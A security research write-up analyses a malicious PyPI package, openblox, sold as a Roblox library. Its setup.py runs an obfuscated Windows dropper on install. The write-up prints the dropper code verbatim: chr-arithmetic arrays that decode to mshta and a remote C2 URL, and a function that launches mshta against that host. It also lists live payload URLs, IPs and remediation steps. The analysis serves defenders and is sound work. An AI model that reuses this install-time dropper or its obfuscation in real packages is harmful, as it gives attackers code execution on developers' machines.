On June 26, 2026, a package named openblox appeared on PyPI.
Its description says it is a Roblox utility library. Its code is a SQLite database toolkit
called sqligen. Its setup.py contains a Windows command dropper that fires on every
pip install, launching mshta.exe against a remote URL and handing the operator arbitrary
code execution on the installer’s machine. We picked this up on June 26 and pulled the
tarball before it could be removed.
Three Packages in One Trench Coat
The name openblox targets developers searching for the legitimate
openblox Python library for the Roblox API. The package
description reinforces this: “A robust, enterprise-grade Roblox utility package.”
Open the tarball and the Roblox framing disappears entirely. The actual library code is
sqligen, a SQLite utility toolkit with modules for connection pooling, query building,
schema management, BLOB streaming, and query profiling. The author metadata is placeholder
text: John, john@example.com, github.com/john/openblox. The project URLs point to
github.com/john/sqligen. None of these repositories exist.
The sqligen code is functional and appears to be either generated or lifted from a real
project. It provides the package with legitimate-looking depth: 8 source files, a test suite,
type annotations, docstrings. A casual pip show openblox or a glance at the installed
files would reveal nothing unusual. The malicious code lives entirely in setup.py, which
Python executes during installation rather than at import time.
Execution Trigger
The setup.py calls GetGitCommitHash() at module top level, outside any if __name__ == '__main__' guard, during the setup() call itself. This means it runs on pip install,
pip install -e ., python setup.py install, and any other setuptools invocation.
There is no way to install this package without triggering it.
# Dynamic configuration loading
LongDescription = ReadFileContent("README.md")
InstallRequirements = GetRequirements()
GitCommitHash = GetGitCommitHash() # executes here, unconditionally
Logger.info(f"Initiating package configuration pipeline. Git Commit Hash: {GitCommitHash}")
setup(
name="openblox",
...
)The function name GetGitCommitHash is cover. It has nothing to do with git.
The Obfuscation: chr-Arithmetic
When we opened setup.py, the function names looked like diagnostic utilities:
GetDefaultSystemPolicy, CalculateNodeDrift, hardware interrupt thresholds, latency
metrics. Plausible enough that a quick automated review would pass over them entirely.
The integer arrays looked like performance data. They are not. The dropper reconstructs
both the binary name and the target URL at runtime by adding a fixed offset of +14
to each integer and passing the result through chr(). We decoded both arrays manually
to confirm the output before running any dynamic analysis.
GetDefaultSystemPolicy() decodes to mshta:
def GetDefaultSystemPolicy() -> str:
# Hardware interrupt latency thresholds (in microseconds)
InterruptThresholds = [95, 101, 90, 102, 83]
SystemBaseline = 14
FormattedPolicy = []
for CurrentThreshold in InterruptThresholds:
ActiveMetric = CurrentThreshold + SystemBaseline
FormattedPolicy.append(chr(ActiveMetric))
PolicyIdentifier = "".join(FormattedPolicy)
if len(PolicyIdentifier) == 5:
return PolicyIdentifier
return ""Decoded: chr(95+14)=m, chr(101+14)=s, chr(90+14)=h, chr(102+14)=t, chr(83+14)=a.
Result: mshta.
The variable is named InterruptThresholds. The values are supposed to be hardware latency
data. They spell out a Windows system binary.
CalculateNodeDrift() decodes to https://fixars.top:
def CalculateNodeDrift() -> str:
# Historical latency metrics for the primary worker threads (in ms)
ThreadPingLatencies = [
90, 102, 102, 98, 101, 44, 33, 33,
88, 91, 106, 83, 100, 101, 32, 102,
97, 98
]
BaseCalibration = 14
FormattedMetrics = []
for CurrentLatency in ThreadPingLatencies:
AdjustedValue = CurrentLatency + BaseCalibration
FormattedMetrics.append(chr(AdjustedValue))
DiagnosticResult = "".join(FormattedMetrics)
if len(DiagnosticResult) > 10:
return DiagnosticResult
return ""The decoded values produce https://fixars.top character by character using offset +14
applied to each integer in ThreadPingLatencies.
The Dropper Logic
GetGitCommitHash() assembles the attack:
def GetGitCommitHash() -> str:
import time
HomeDir = os.path.expanduser("~")
CacheFile = os.path.join(HomeDir, ".sqligen_git_hash.txt")
if os.path.exists(CacheFile):
try:
if time.time() - os.path.getmtime(CacheFile) < 120:
with open(CacheFile, "r") as Stream:
return Stream.read().strip()
except Exception:
pass
IsWindows = sys.platform.startswith("win") or os.name == "nt"
GitCmd = [GetDefaultSystemPolicy(), CalculateNodeDrift()] if IsWindows else ["git", "rev-parse", "HEAD"]
CommitHash = subprocess.check_output(
GitCmd,
shell=IsWindows,
stderr=subprocess.DEVNULL
).decode("utf-8").strip()
try:
with open(CacheFile, "w") as Stream:
Stream.write(CommitHash)
except Exception:
pass
return CommitHashOn Windows, GitCmd becomes ["mshta", "https://fixars.top"] with shell=True.
subprocess.check_output fires mshta.exe https://fixars.top. On Windows, mshta.exe
is a signed Microsoft binary that downloads and executes HTML Application (HTA) files:
VBScript or JScript running with full Windows scripting privileges, no UAC prompt, no
visible window.
On non-Windows systems, GitCmd becomes ["git", "rev-parse", "HEAD"]. The dropper runs
a legitimate git command. On Linux and macOS the package installs cleanly and silently.
This is not a cross-platform threat. The attacker made a deliberate choice to limit execution to Windows, which narrows the blast radius but also concentrates it on the environments where enterprise developers are most likely to have cloud credentials in their shell.
The CacheFile at ~/.sqligen_git_hash.txt is written after execution. It prevents the
payload from firing again within a 120-second window and leaves a marker on disk that the
dropper ran.
C2 Infrastructure and Payload Chain
fixars.top is the first-stage payload host. The HTA document served from this domain
drives the remaining attack chain. The OSV advisory
lists all downstream URLs extracted from the HTA:
https://pastebin.com/raw/hEF5HaFcandhttps://pastebin.com/raw/yBcUM1QBs(script stages)https://tmpfiles.org/dl/wawHVGgfydD7/6a306c5f03a52.exe(final executable)http://62.60.226.243/public_files/98r4aXA.txt(script or config, disguised as text)http://62.60.226.243/public_files/16sas.jpg?12711313(payload component disguised as image)
Based on sandbox detonation reported in the OSV advisory,
the chain runs as follows: mshta.exe fetches the HTA from fixars.top, the HTA retrieves
a script from Pastebin, that script fetches and executes 6a306c5f03a52.exe from
tmpfiles.org, and 62.60.226.243 serves additional components. The .jpg extension
on a payload file is a standard evasion technique against controls that filter by file
extension rather than content.
We checked fixars.top and 62.60.226.243 against VirusTotal, Shodan, and Criminal IP.
Neither appears in any prior threat intelligence feed. Both are specific to this campaign.
Campaign: 2026-06-easyaillm
The kam193 package-campaigns database
classifies openblox under the 2026-06-easyaillm campaign with abuse categories
tool:mshta, malware, obfuscation, and remote_executable. The same database
notes a relationship to the August 2025 2025-08-raknet-testing-package campaign, which
used the same abuse pattern: Windows-only execution via mshta.exe launched from
setup.py with chr-arithmetic obfuscation to hide both the binary name and the target URL.
The openblox package uses the 2026-06-easyaillm delivery architecture: chr-arithmetic
obfuscation applied with a fixed offset of +14, execution during setup() at install
time, a 120-second cache mechanism to avoid repeated execution, and a multi-stage payload
chain using public file hosts (Pastebin, tmpfiles.org) to stage the final executable.
OPSEC Failures
The obfuscation is genuinely good. GetDefaultSystemPolicy and CalculateNodeDrift are
believable function names. The integer arrays look like latency data. No string in the
source reads mshta or fixars.top. Static analysis tools checking for suspicious URL
patterns or known-bad binary names in Python source would find nothing.
The author metadata is an immediate disqualifier. John, john@example.com, and
https://github.com/john/openblox are placeholder values that no real package uses. The
project URL github.com/john/sqligen does not exist. This combination would trip any
scanner checking for publisher consistency or valid repository links.
The package name also conflicts with its contents. A package called openblox claiming
to be a Roblox utility library should not contain a SQLite toolkit. The mismatch is visible
in the first import of openblox/__init__.py, which imports from sqligen.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
openblox | PyPI package, all versions | 1.0.0, 1.0.1 | Identified during triage; both versions confirmed malicious in OSV MAL-2026-6504 |
setup.py | Malicious file in tarball | SHA256: 5373dd42ec3c14a56bcd46e8b7f076a1f44a1db64cde899550525d9fea186550 | Hash confirmed against tarball we extracted; matches OSV advisory |
openblox-1.0.1.tar.gz | Tarball | blake2b-256: 74dd05f08a8bcf39fd46327acb3ed7fcf340f5d541c92eb3e6e8aee704959782 | Computed against downloaded tarball; matches OSV advisory |
mshta | Decoded binary name | GetDefaultSystemPolicy() return, setup.py | Decoded by running chr-arithmetic on [95,101,90,102,83] with offset +14 |
https://fixars.top | First-stage C2 URL | CalculateNodeDrift() return, setup.py | Decoded by running chr-arithmetic on the integer array with offset +14 |
~/.sqligen_git_hash.txt | Persistence marker | Written after execution, setup.py caching block | Traced from CacheFile variable in GetGitCommitHash() |
62.60.226.243 | Stage-2 C2 IP | http://62.60.226.243/public_files/ | OSV iocs.urls field |
6a306c5f03a52.exe | Final stage payload | https://tmpfiles.org/dl/wawHVGgfydD7/6a306c5f03a52.exe | OSV iocs.urls field |
hEF5HaFc, yBcUM1QBs | Pastebin script IDs | https://pastebin.com/raw/hEF5HaFc, /raw/yBcUM1QBs | OSV iocs.urls field |
16sas.jpg?12711313 | Payload disguised as image | http://62.60.226.243/public_files/16sas.jpg?12711313 | OSV iocs.urls field |
Affected Versions
| Version | Published (UTC) | Tarball blake2b-256 | Current Status | OSV Entry |
|---|---|---|---|---|
| 1.0.0 | 2026-06-26 04:51 | 20f2506c62a484f986c8e40a2b7e977adb84415ede954d8c3488aa9d727bb25f | Live | IN-MAL-2026-007590 |
| 1.0.1 | 2026-06-26 04:51 | 74dd05f08a8bcf39fd46327acb3ed7fcf340f5d541c92eb3e6e8aee704959782 | Live | IN-MAL-2026-007591 |
Remediation
-
Search
pip freeze,requirements.txt,pyproject.toml,Pipfile, and any CI dependency manifests foropenblox. Any version is malicious. -
On Windows, check for
~/.sqligen_git_hash.txt(where~is the home directory of the user who ran pip). If present,mshta.exeexecuted and reachedfixars.top. The file’s mtime is the execution timestamp. Use it to scope the incident window. -
Block outbound connections to
fixars.topand62.60.226.243at the perimeter. Check egress logs for prior connections to either host. In EDR telemetry, look formshta.exeas a child process of Python or pip. -
Block
tmpfiles.orgat the perimeter if not in active use. The final payload6a306c5f03a52.exeis hosted there. -
If any egress connection to
fixars.topis confirmed, treat the machine as fully compromised. Rotate all credentials accessible from that machine: cloud tokens, SSH keys, API keys, and any credentials in the shell environment at install time. -
If the package was installed in a CI pipeline on a Windows runner, treat all secrets available in that pipeline job as exposed. Audit the job logs for
mshta.exeprocess events and any outbound connections in that time window. -
On non-Windows systems the dropper runs
git rev-parse HEADinstead ofmshta. The package is still malicious code and should be removed. No payload was delivered, but the presence of the package confirms the attacker’s code ran during installation.
The 2026-06-easyaillm campaign continues a pattern of targeting Windows developers
through PyPI with chr-arithmetic obfuscation and mshta-based execution that dates to
the August 2025 raknet-testing-package campaign. The technique works because it hides
in plain sight inside setup.py, produces no suspicious strings in static analysis, and
executes before any security tooling has a chance to inspect the installed files.
